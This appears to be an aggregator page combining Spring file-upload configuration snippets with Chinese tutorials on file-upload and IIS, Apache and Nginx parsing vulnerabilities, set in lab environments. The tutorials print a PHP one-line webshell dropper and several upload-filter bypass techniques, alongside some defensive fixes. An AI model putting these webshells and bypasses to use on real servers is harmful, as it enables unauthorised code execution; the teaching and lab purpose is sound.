-
2019-12-03 16:15:01
Spring boot MultipartResolver
springboot默认文件解析器为StandardServletMultipartResolver 、配置文件解析器为CommonsMultipartResolver
实现了 MultipartResolver 常用接口有两个:
一个是 CommonsMultipartResolver:使用Jakarta Commons FileUpload 解析 multipart 请求;
一个是 StandardServletMultipartResolver:依赖于 Servlet 3.0 解析 multipart 请求;
1.排除默认配置
spring: autoconfigure: exclude: org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration
或
@EnableAutoConfiguration(exclude = {MultipartAutoConfiguration.class})
2.依赖
<dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>1.4</version> </dependency> <dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.4</version> </dependency>
3.创建文件解析对象
@Slf4j @Configuration public class WebMvcConfig implements WebMvcConfigurer { @Bean(name = "multipartResolver") public MultipartResolver multipartResolver() { log.info("Loading the multipart resolver"); CommonsMultipartResolver resolver = new CommonsMultipartResolver(); resolver.setDefaultEncoding("UTF-8"); //resolveLazily属性启用是为了推迟文件解析,以在在UploadAction中捕获文件大小异常 resolver.setResolveLazily(true); resolver.setMaxInMemorySize(40960); //单个上传文件大小 50M 50*1024*1024 resolver.setMaxUploadSize(50 * 1024 * 1024); return resolver; } }
更多相关内容 -
SpringMVC文件上传原理及实现过程解析
2020-08-18 20:07:58主要介绍了SpringMVC文件上传原理及实现过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 -
Android :okhttp+Springmvc文件解析器实现android向服务器上传照片
2020-08-19 04:25:49主要介绍了Android :okhttp+Springmvc文件解析器实现android向服务器上传照片,需要的朋友可以参考下 -
SPRING MVC 的 配置 包括 包扫描 视图解析器 文件上传解析器 拦截器等
2017-01-04 16:36:39-- 文件上传解析器 --> <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver"> <property name="defaultEncoding" value="utf-8"></property> ...<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:cache="http://www.springframework.org/schema/cache"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd
http://www.springframework.org/schema/cache http://www.springframework.org/schema/cache/spring-cache.xsd">
<!-- 启用spring mvc 注解-->
<mvc:annotation-driven>
<!-- 启动JSON格式的配置 -->
<mvc:message-converters>
<!-- 这里也可以自己定制class -->
<bean class="com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter">
<property name="supportedMediaTypes">
<list>
<value>text/html;charset=UTF-8</value> <!-- 避免IE出现下载JSON文件的情况 -->
</list>
</property>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>
<!-- 对静态资源文件的访问 缓存一年
<mvc:resources mapping="/images/**" location="/WEB-INF/images/" cache-period="31536000"/>
<mvc:resources mapping="/css/**" location="/WEB-INF/css/" />
<mvc:resources mapping="/js/**" location="/WEB-INF/js/" />
<mvc:resources mapping="/fonts/**" location="/WEB-INF/fonts/" />
<mvc:resources mapping="/favicon.ico" location="favicon.ico" />
-->
<!-- 自动扫描的包名 ,使Spring支持自动检测组件,如注解的Controller-->
<context:component-scan base-package="com.crm.controller" />
<context:component-scan base-package="com.crm.service"/>
<!-- 视图解析器:定义跳转的文件的前后缀 -->
<bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/" />
<property name="suffix" value=".jsp" /> <!--可为空,方便实现自已的依据扩展名来选择视图解释类的逻辑 -->
</bean>
<!-- 文件上传解析器 -->
<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<property name="defaultEncoding" value="utf-8"></property>
<property name="maxUploadSize" value="10485760000"></property>
<property name="maxInMemorySize" value="40960"></property>
</bean>
<!--<mvc:view-controller path="/" view-name="forward:/index.jsp"/> -->
<!-- 缓存配置(两种) -->
<!-- 启用缓存注解功能(请将其配置在Spring主配置文件中) -->
<cache:annotation-driven cache-manager="cacheManager"/>
<!-- Spring自己的基于java.util.concurrent.ConcurrentHashMap实现的缓存管理器(该功能是从Spring3.1开始提供的) -->
<!--
<bean id="cacheManager" class="org.springframework.cache.support.SimpleCacheManager">
<property name="caches">
<set>
<bean name="myCache" class="org.springframework.cache.concurrent.ConcurrentMapCacheFactoryBean"/>
</set>
</property>
</bean>
-->
<!-- 若只想使用Spring自身提供的缓存器,则注释掉下面的两个关于Ehcache配置的bean,并启用上面的SimpleCacheManager即可 -->
<!-- Spring提供的基于的Ehcache实现的缓存管理器 -->
<bean id="cacheManagerFactory" class="org.springframework.cache.ehcache.EhCacheManagerFactoryBean">
<property name="configLocation" value="classpath:ehcache.xml"/>
</bean>
<bean id="cacheManager" class="org.springframework.cache.ehcache.EhCacheCacheManager">
<property name="cacheManager" ref="cacheManagerFactory"/>
</bean>
<!--配置拦截器, 多个拦截器,顺序执行 -->
<mvc:interceptors>
<mvc:interceptor>
<!-- 当设置多个拦截器时,先按顺序调用preHandle方法,然后逆序调用每个拦截器的postHandle和afterCompletion方法 -->
<!--
/**的意思是所有文件夹及里面的子文件夹
/*是所有文件夹,不含子文件夹
/是web项目的根目录
exclude-mapping 不拦截的url
-->
<mvc:mapping path="/" />
<mvc:mapping path="/**" />
<mvc:exclude-mapping path="/code"/>
<mvc:exclude-mapping path="/logout"/>
<bean class="com.crm.interceptor.CommonInterceptor"></bean>
</mvc:interceptor>
<mvc:interceptor>
<mvc:mapping path="/**"></mvc:mapping>
<mvc:exclude-mapping path="/code"/>
<mvc:exclude-mapping path="/logout"/>
<mvc:exclude-mapping path="/login"/>
<bean class="com.crm.controller.MyInterceptor"></bean>
</mvc:interceptor>
</mvc:interceptors>
</beans> -
Struts2修改上传文件大小限制方法解析
2020-08-29 07:24:13主要介绍了Struts2修改上传文件大小限制的相关内容,包括决定Struts2上传文件大小的因素,具有一定参考价值,需要的朋友可以了解下。 -
文件上传及解析漏洞
2020-12-29 01:17:28注:本文仅供学习参考文件上传定义:文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞...注:本文仅供学习参考
文件上传定义:
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
即便很容易被攻击者利用漏洞,但是在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。方便的同时也带来了隐患。
文件上传原理
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如一句话木马,病毒等等。如果被恶意攻击者拿到webshell的话危害是非常大的。
Apache、Tomcat、Nginx、IIS等都曝出过文件上传解析漏洞。
文件上传漏洞的话可以看对方服务器配置了什么中间件看是否存在解析漏洞,下面我们来了解一下解析漏洞。
解析漏洞
IIS6.0解析漏洞
使用iis5.x-6.x版本的服务器,打多是windows server 2003网站也是比较古老一般为asp开发的 该解析漏洞也只能解析asp的 不能解析aspx
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认会把.asp .asa目录下的文件都解析成asp文件(如果上传可以修改路径的话可以修改成asp目录下 利用解析漏洞使服务器把jpg文件解析成asp)
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析分号后面的内容因此xx.asp;.jpg被解析成asp文件(用于只允许jpg文件上传等等)
IIS 7.5解析利用方法
漏洞与PHP配置有关,php.ini中的参数cgi.fix_pathinfo参数配置错误导致解析漏洞,开启了cgi.fix_pathinfo,与IIS本身无关,仅是php开发有关,不支持asp、aps.net等其他语言。
上传个一句话马儿php.jpg,就是php一句话改名为jpg,然后以下面方式访问:
http://www.xxxx.com/UploadFil...
APACHE解析漏洞
Apache解析文件是从右到左开始判断的,如果后缀名识别不了就会往左继续判断,比如1.php.aaa.bbb.ccc aaa bbb ccc这种后缀名都识别不了直到识别成功为php(在低版本存在2.x)
漏洞形式
www.xxx.com/1.php.aa.bb
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .png即使扩展名是 jpg,一样能以 php 方式执行。
nginx解析漏洞
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%200.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
另外一种手法:上传一个名字为test.jpg,以下内容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php
下面附一张总图
利用解析漏洞的前提是对方服务器存在这个漏洞才能利用,如果不存在的话我们只能通过其他方式,下面学习一下
常见的上传检测方式
1客户端js检测
2服务端mime类型检测(检测content-type内容)
3服务端目录路径检测(检测跟path参数相关的内容)
4服务端文件扩展名检测(检测跟文件extension相关的内容)
1客户端js验证
这个弄了等于没弄 绕过方法可以禁用js 改js文件,抓包修改,上传图片马等等等等
2服务端mime类型检测
这是在服务端验证客户端发送的http请求包,如果内容类型不符合的,则拒绝该请求,我们来查看一下他源码
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) )
{
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo "
图片上传失败
";}
else {
echo "
{$target_path} 图片上传成功!
";}
可以看到,如果类型等于image/jpeg或者png并且字节小于100000可以通过,那我们正常上传一个php木马 抓包 在content-type处修改成image/jpeg类型即可
3.服务端目录路径检测
目录路径检测 一般就检测路径是否合法,但稍微特殊一点的都没有防御 比如比较新的fckeditor php<=2.6.4任意文件上传漏洞
当post下面的url的时候
Xx/xx/command=fileupload&type=image&
Currentfolder=fuck.php%00.gif http/1.0
修改文件上传路径 uploads
4.服务端文件扩展名检测
黑名单检测(不允许上传什么类型)
白名单检测(只允许上传什么类型,其他都不行)
黑名单安全性比白名单安全性低 攻击手法比白名单多 一般有个专门的blacklist文件 里面会包含常见的危险脚本文件 例如fckeditor2.4.3或之前版本的黑名单
黑名单绕过
1.找黑名单扩展名的漏网之鱼 - 比如上面就漏掉了 asa 和 cer 之类
2.可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
3.特别文件名构造 - 比如发送的 http包里把文件名改成 help.asp. 或help.asp_(下划线为空 格)
4.IIS 或 nginx 文件名解析漏洞 - 比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php
5.0x00 截断绕过 比如:1.jpg%00.php
白名单检测
比黑名单安全一些 但也不是绝对安全
1. 特别文件名构造 (同黑名单攻击第 3 条)
2. IIS 或 nginx 文件名解析漏洞 (同黑名单攻击第 4 条)
3. 0x00 截断绕过 (同黑名单攻击第 5 条)
4. .htaccess 文件攻击,如果 PHP 安全没配置好 就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务上的 这样就能任意定义解析名单了
双文件上传
检测了第一个 没检测第二个
绕过二次渲染
攻击函数本身
通过上传不完整的图片让其渲染函数暴露,
第二种方法
对文件加载器进行溢出攻击
还有一些条件竞争上传之类的,大家有兴趣可以去研究一下(本人去验证的时候只成功过1,2次有点玄学)。可以去玩下upload的20关挺有意思的,继续加油吧
-
【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx
2022-05-31 15:46:50(1)第一种:未知扩展名解析...参考《【文件上传漏洞-06】.htaccess攻击实验(基于upload-labs-4靶场)》(1)加深理解Apache的两种解析漏洞原理; (2)掌握两种解析漏洞的检测及绕过方法。靶场:基于WAMP环境的...
定义:解析漏洞主要是一些特殊文件被IIS、Apache、Nginx等服务在某种情况下 解释成脚本文件格式并得以执行而产生的漏洞。1 Apache解析漏洞
1.1 概述
(1)第一种:未知扩展名解析漏洞
Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。(2)第二种:局部配置
通过分布式配置文件.htaccess文件进行局部配置,定义不同文件名及后缀的解析方式。参考《【文件上传漏洞-06】分布式配置文件攻击实验—以upload-labs-4为例》1.2 Apache解析漏洞实例
1.2.1 实验目的
(1)加深理解Apache的两种解析漏洞原理;
(2)掌握两种解析漏洞的检测及绕过方法。1.2.2 实验环境
靶场:基于WAMP环境的upload-labs靶场。其中WAMP环境的部署可参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》、upload-labs靶场的搭建可参考《【环境搭建-03】基于WAMP环境的upload-labs漏洞靶场的搭建》,请务必将PHP版本设置为小于5.3.4版本。
攻击机:使用真实机浏览器。
1.2.3 实验一:验证解析顺序漏洞
(1)真实机使用浏览器访问upload-labs靶场,进入第4关。点击“显示源码”或“查看提示”可以看到部分后缀被列入黑名单,结合之前的文章中,我们可以有以下几种思路:
- 修改同类型后缀:先尝试将文件后缀名修改为同类型文件的后缀,比如将php修改为php5等,看看哪些后缀能成功执行文件代码,这样上传的文件就会在网站成功执行。
- 修改为其他类型后缀:当文件后缀修改为其他类型后,往往无法顺利执行文件内代码,需要配合.htaccess修改局部配置。
- 当中间件是Apache时,可以尝试利用其解析漏洞来绕过。当信息收集发现中间件为apache时,该方法建议优先于前两种进行测试。
(2)准备上传文件。新建一个txt文件,文件内容为
<?php phpinfo(); ?>
,并将其重命名为info.php.xxx。
(3)上传info.php.xxx文件。选择info.php.xxx,点击上传,可以看到文件已经成功上传,但是由于文件内容并非图片,所以在网页上不能成功解析。
(4)右键该图片,在新标签打开,代码执行失败(打开后一片空白,暂时找不到原因)。可以看到该文件图片的存储路径为:
http://172.16.1.1/upload-labs/upload/info.php.xxx
,并没有对文件名及其后缀名进行修改。
小结
- 该解析漏洞绕过的方式需要网站中间件为apache;
- 同时需要网站对上传文件名未做修改。
1.3 总结
文件上传漏洞第一个条件是文件成功上传且没能过滤掉恶意代码;第二个条件是让代码执行。
对于第一个条件,存在着前端JS检测绕过、服务端MIME类型绕过、服务端后缀名绕过、文件内容绕过等,其根本目的是要上传文件。
对于第二个条件,当中间件为Apache时:
(1)优先考虑绕过后缀名时采用恶意代码能够执行的后缀,这样文件能直接执行;
(2)其次考虑利用解析顺序漏洞执行该文件;
(3)最后才是考虑通过修改局部配置来执行。2 IIS 解析漏洞
2.1 概述
2.1.1 文件解析漏洞
定义:在iis6.0下,分号后面的不被解析,所以
xx.asp;.jpg
被解析为asp脚本得以执行。防御:对所上传的文件重命名后再保存,比如,所上传的xx.asp;.jpg重命名为xxxxxx.jpg再保存。
2.1.2 目录解析漏洞
定义:在网站下创建名字为.asp、.asa的文件夹,其下任何扩展名的文件都被IIS当做asp文件来解析并执行。攻击者利用该漏洞,创建文件夹并往文件夹内上传图片马,不需修改后缀名便可直接执行!
目录解析漏洞格式,例如: /xx.asp/xx.jpg。
适用版本:IIS 5.x/6.0。对于高版本暂未实验。
2.1.3 文件类型解析漏洞
定义:在 iis6.0 中,默认的可执行文件除了asp还包含这三种asa、cer、cdx。
防御:黑白名单过滤时要全面。
2.1.4 CGI-PHP 解析漏洞
定义:该漏洞常见于IIS7.0、IIS7.5、Nginx <8.03等中间件+PHP环境,当浏览器采用1.jpg/.php的方式访问1.jpg文件时,jpg文件会以PHP程序执行。
原因:该漏洞的产生原因与中间件无关,主要是PHP配置上CGI.fix_pathinfo参数值默认为1,将其设置为0可以避免这个漏洞。
cgi.fix_pathinfo参数作用:看名字就知道是对文件路径进行“修理”。何谓“修理”?举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。
2.2 IIS 解析漏洞实例
2.2.1 实验目的
加深对IIS几种解析漏洞的理解;
掌握漏洞的检验及利用方法。2.2.2 实验环境
2.2.2.1 实验环境一:IIS6.0
(1)由于没有找到方便直接使用的靶场环境,此处新建一个网站来作为靶场。
- 虚拟机安装win2003系统,相关步骤参考《第2节 部署虚拟机及常用系统配置》
- win2003系统搭建IIS服务器,相关步骤参考《第13节 IIS之WEB服务器—用于发布网站》。
(2)按以上步骤安装后,点击开始→管理工具→Internet(信息服务IIS)。
(3)新建网站目录upload及文件。在D盘新建目录upload,在该目录下新建txt文件,输入内容<%=time()%>
,该内容为asp语句,执行后返回当前时间,并将文件名修改为time.asp作为动态网页访问。
(4)在第2步的界面,即IIS管理器界面,先右键默认网站→停止。然后再右键网站→新建→网站→输入描述(随便写)→下一步→分配本机IP给该网站→下一步。
(5)选择网站的路径。选择刚刚新建文件的文件夹D:\upload→下一步→勾选全部权限→下一步。
(6)回到IIS管理器界面,设置新建站点的属性。右键该网站→属性→选项→启用父路径。
(7)右键Web服务扩展→在右侧找到 Active Server Gages →点击允许。
(8)在真实机浏览器,输入虚拟机IP并加上文件名访问指定文件
http://172.16.1.8/time.asp
,如下,访问成功,说明实验环境搭建结束。
2.2.2.2 实验环境二:IIS7.0
(1)由于没有找到方便直接使用的靶场环境,此处新建一个网站来作为靶场,并设置映像链接来处理PHP语句。
- 在虚拟机中,安装win2008系统,步骤参考文章《第2节 部署虚拟机及常用系统配置》。
- 在win2008中,部署IIS服务器。右键计算机→管理→添加角色→下一步→如下勾选IIS服务器→下一步。
(2)在设置角色服务时,“应用程序开发”全部勾选,点下一步直到开始安装。
(3)停止默认网站。安装完成后,点击开始→管理工具→Internet信息服务(IIS)管理器IIS,打开网址,然后按如下操作将默认网址停止。
(4)建立网站目录及相关文件。在D盘下新建文件夹,本实验命名为upload,新建TXT文件,输入内容
<?PHP fputs(fopen('shell.php','w'),'<?php phpinfo()?>');?>
,并将文件重命名为1.jpg。(5)新建网站upload。在IIS管理器,右键网站→添加网站→如下设置名字和路径信息(网站路径为
D:\upload
)→确定。
(6)安装phpstudy8.1及扩展php5.4.45。
- 在虚拟机系统上安装phpstudy8.1,下载可前往官网,本实验按默认路径安装。
- 安装后,在小皮面板的软件管理处,安装php5.4.45版本。在C盘下phpstudy的安装目录下,可以找到该版本PHP的路径为:
D:\phpstudy_pro\Extensions\php\php5.4.45nts
。
(7)让IIS调用php。
- 为IIS服务器添加映射到PHP。打开IIS管理器,选中新建的网站upload→双击处理程序映射→添加模块映射→按要求填写:其中第一行表示任意以php结尾的文件;第二行选择FastCgi模块;第三行是在PHP安装目录下找到响应的可执行程序,参考下一张图设置;第四行随便写点。点击确定。
- 选中IIS服务器→双击打开FastCGI配置→按下步骤让CGI跟随PHP配置文件而修改配置。
(3)至此,就可以让IIS支持PHP脚本。在网站目录D:\upload下新建TXT文件,输入内容为
<?php phpinfo();?>
并重命名为info.php。在真实机输入win2008虚拟机IP地址并指定文件名进行访问,可以看到文件PHP代码成功执行。
2.2.3 实验一:验证IIS6.0文件解析漏洞
由于没有可直接利用的靶场,此处就跳过文件上传的环节,直接验证文件能否被解析。步骤如下:
(1)在win2003虚拟机中的D:\upload
目录下,复制time.asp文件(上文搭建环境时建立的文件)黏贴后重命名为time.asp;1.jpg
。
(2)在真实机浏览器,输入网址
http://172.16.1.8/time.asp;1.jpg
访问time.asp;1.jpg
文件,如下。可以看到在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
2.2.4 实验二:验证IIS6.0文件夹解析漏洞
由于没有可直接利用的靶场,此处就跳过文件上传的环节,直接验证文件能否被解析。步骤如下:
(1)在win2003虚拟机中,在网站根目录下(D:\upload
)新建文件夹,命名为1.asp(1可以为任意字符,只要是.asp结尾即可),将time.asp文件(上文搭建环境时建立的文件)复制进去并重命名为time.jpg。
(2)在真实机浏览器,输入网址访问指定文件time.jpg,如下。可以看出,当文件夹名字中含有后缀.asp时,其目录内的任何扩展名的文件都被iis当做asp文件来解析并执行(.asa同理)。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
2.2.5 实验三:验证IIS7.0下的CGI+PHP解析漏洞
2.2.5.1 实验过程
(1)将info.php文件(上文搭建环境时建立的文件)复制黏贴并重命名为info.jpg。
(2)在真实机访问该文件,
- 输入网址:
http://192.168.1.3/info.png
,图片代码无法执行
- 输入网址:
http://192.168.1.3/info.png/.php
,代码成功执行。访问时只要在URL后加了/.php就能让该文件以PHP格式运行,成功执行该文件内的PHP代码。
2.2.5.2 防御
(1)方法一
(1)在win2008系统中,打开IIS管理器界面,找到搭建环境时建立的映射文件。
(2)选中该映射文件,点击右侧的编辑,点击请求限制,在限制栏下,勾选上并点击确定。
(2)方法二
将php.ini文件中的cgi.fix_pathinfo的值设置为0,并将该行代码签名的分号去掉,保存并重启phpstudy。2.3 总结
文件上传漏洞第一个条件是文件成功上传且没能过滤掉恶意代码;第二个条件是让代码执行。
对于第一个条件,存在着前端JS检测绕过、服务端MIME类型绕过、服务端后缀名绕过、文件内容绕过等,其根本目的是要上传文件。
对于第二个条件,当中间件为IIS时:
(1)优先考虑绕过后缀名时采用恶意代码能够执行的后缀,这样文件能直接执行;
(2)当IIS版本为5.x或6.x时,考虑利用文件解析漏洞、目录解析漏洞执行该文件;
(3)当IIS版本为7.x时,考虑利用CGI-PHP解析漏洞来执行该文件。3 Nginx 解析漏洞
3.1 概述
3.1.1 空字节解析漏洞
概述:该漏洞影响版本为:0.5*, 0.6*, 0.7 <= 0.7.65, 0.8 <= 0.8.37,版本较老。
原因:在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可以在非PHP文件中嵌入PHP代码,然后通过访问
xxx.jpg%00.php
来执行其中的代码。3.1.2 文件名逻辑漏洞 CVE-2013-4547
概述:该漏洞影响版本为: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7,范围较广。
原因:这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
漏洞产生过程:
- Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的代码写法如下。
- 正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求
1.gif[0x20][0x00].php
,这个URI可以匹配上正则.php$
,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20]
,就设置其为SCRIPT_FILENAME的值发送给fastcgi。 - fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。
- 所以,我们只需要上传一个空格结尾的文件,然后在访问文件时诱导其以PHP解析。
location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT /var/www/html; }
3.1.3 CGI-PHP 解析漏洞
概述:该漏洞常见于IIS7.0、IIS7.5、Nginx <8.03等中间件,当浏览器采用
1.jpg/.php
的方式访问1.jpg文件时,jpg文件会以PHP程序执行。原因:该漏洞的产生原因与中间件无关,主要是PHP配置上CGI.fix_pathinfo参数值默认为1,将其设置为0可以避免这个漏洞。
cgi.fix_pathinfo参数作用:看名字就知道是对文件路径进行“修理”。何谓“修理”?举个例子,当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz”时,若“/aaa.xxx/bbb.yyy/ccc.zzz”不存在,则会去掉最后的“/ccc.zzz”,然后判断“/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”,若“/aaa.xxx/bbb.yyy”仍不存在,则继续去掉“/bbb.yyy”,以此类推。3.2 Nginx 解析漏洞实例
3.2.1 实验目的
(1)加深对Nginx几种解析漏洞的理解;
(2)掌握漏洞的检验及利用方法。3.2.2 实验环境
(1)在虚拟机安装CentOS系统,可以参考文章《【Linux系统】第1节 CentOS7虚拟机安装》。
(2)部署Vulhub靶场环境。参考文章《【环境搭建-04】CentOS上搭建Vulhub靶场》。
(3)需要不同靶场环境时,在官网查询相关靶场路径,进入对应路径进行实验即可。3.2.3 实验一:空字符解析漏洞
暂时没有找到Nginx空字符漏洞环境,无法进行实验,仅简要描述该漏洞攻击的方式,以后有机会时间再练习。
(1)步骤一,以图片马的方式提交文件以绕过。
(2)步骤二,访问所上传的文件时,在文件后加上%00.php
让服务器以PHP形式执行该文件,如IP+info.jpg%00.php
。3.2.4 实验二:文件名逻辑漏洞
3.2.4.1 启用实验环境
(1)参考Vulhub官网关于该漏洞的使用介绍,使用命令
cd /usr/vulhub/nginx/CVE-2013-4547
进入靶场安装目录(根据自己安装的位置灵活调整)。(2)使用命令
docker-compose up -d
启动靶场。
(3)使用命令
docker ps -a
查询启动的容器。可以看到所启动的容器是采用8080端口来访问的。
3.2.4.2 踩坑排雷过程
(1)真实机浏览器访问nginx靶场。输入URL为
192.168.1.8:8080
。
(2)准备要上传的文件。文件名为phpinfo.php,内容代码为<?php phpinfo();?>
。
(3)真实机的浏览器设置代理→打开BurpSuite→在代理界面开启拦截功能。具体操作可以参考《【Burp Suite工具-2】BurpSuite工作原理及菜单栏介绍》
(4)在浏览器网页中选中phpinfo.php文件并点击提交按钮,可以看到BurpSuite成功拦截到请求,将该请求发送到Repeater模块。
(5)将BurpSuite切换到repeater模块界面,将刚刚发送过来的请求点击send,可以看到响应为上传文件失败。
(6)将文件名后缀修改为.png ,点击send,发现响应中说move_uploaded_file函数执行出错了,结合之前《文件截断绕过攻击实验》中对该函数的了解,其出错可能是路径出了问题或是写入权限出了问题,但是在该实验中其实是SELinux设置的问题,相关解决方案参考文章《CentOS7部署Vulhub靶场后,在启动漏洞容器时弹出SELinux警告,致使网站无法正常执行文件上传功能》。
(4)经过上面文章设置之后,接着继续实验。
(4)重新回到浏览器→重新上传文件→将拦截到的请求再次将请求发送到repeater模块→将文件名修改为png后缀,并点击发送。可以看到右侧文件成功上传,说明靶场环境搭建成功。
3.2.4.3 实验步骤
(1)在BurpSuite中的Repeater模块,将请求中文件的后缀名png后面再加一个空格,并点击发送。可以看到文件成功上传,且后缀带有空格。
(2)关闭BurpSuite中Proxy模块中的拦截功能,使用火狐浏览器输入网址:
http://192.168.1.8:8080/uploadfiles/phpinfo.png
访问刚刚上传的文件,可以看到文件是存在的,但是由于不是图片格式所以显示不了。
(3)本来想使用BurpSuite拦截上述中的请求,不知道为什么拦不到,只能先复制上面浏览器访问时的URL,然后在repeater模块中新建一页,右键点击"Paste URL as request"。
(4)点击后出现以下请求,点击发送收到响应。可以看到响应正常并回显了文件的内容,但是由于后缀名格式问题并没有执行。
(5)在BurpSuite中的Repeater模块,在请求的文件后缀加上
..php
,注意最前面是一个空格,点击发送手动响应如下,没有找打对应的文件。
(6)在BurpSuite中的Repeater模块,将请求切换到十六进制模式,修改第一个点对应的值变为空字符,原理类似空字符截断,发送后可以看到响应中执行了文件代码。
3.2.5 实验三:CGI-PHP 解析漏洞
3.2.5.1 启用实验环境
(1)参考Vulhub官网关于该漏洞的使用介绍,使用命令
cd /usr/vulhub/nginx/nginx_parsing_vulnerability
进入靶场安装目录(根据自己安装的位置灵活调整)。(若之前启动了其他靶场,可以使用docker-compose down关闭靶场
,之后再进入目标靶场路径)。(2)使用命令
docker-compose up -d
启动靶场。
(3)使用命令docker ps -a
查询启动的容器。
3.2.5.2 实验步骤
(1)访问nginx_parsing_vulnerability靶场。真实机打开浏览器,输入IP:
192.168.1.8
访问靶场。
(2)使用命令
http://192.168.1.8/uploadfiles/nginx.png
访问靶机网站下的文件,可以看到图片正常显示。
(3)使用命令
http://192.168.1.8/uploadfiles/nginx.png/.php
访问靶机网站下的文件,可以看到文件中的PHP代码被成功执行,由此也可知该图片为图片马。
3.2.5.3 防御
将php.ini文件中的cgi.fix_pathinfo的值设置为0,并将该行代码签名的分号去掉,保存并重启phpstudy。
3.3 总结
文件上传漏洞第一个条件是文件成功上传且没能过滤掉恶意代码;第二个条件是让代码执行。
对于第一个条件,存在着前端JS检测绕过、服务端MIME类型绕过、服务端后缀名绕过、文件内容绕过等,其根本目的是要上传文件。
对于第二个条件,当中间件为Nginx时:
